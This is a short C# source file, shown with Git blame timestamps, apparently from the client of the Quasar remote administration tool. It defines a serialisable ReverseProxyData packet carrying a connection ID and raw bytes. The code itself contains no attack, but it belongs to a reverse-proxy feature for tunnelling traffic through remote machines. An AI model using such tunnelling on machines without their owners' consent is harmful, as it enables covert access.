Quasar/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs

31 lines
620 B
C#
Raw Normal View History

using ProtoBuf;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets
{
[ProtoContract]
2015-05-10 17:02:10 +00:00
public class ReverseProxyData : IPacket
{
[ProtoMember(1)]
public int ConnectionId { get; set; }
[ProtoMember(2)]
public byte[] Data { get; set; }
2015-05-10 17:02:10 +00:00
public ReverseProxyData()
{
}
2015-05-10 17:02:10 +00:00
public ReverseProxyData(int connectionId, byte[] data)
{
2015-05-10 17:02:10 +00:00
this.ConnectionId = connectionId;
this.Data = data;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}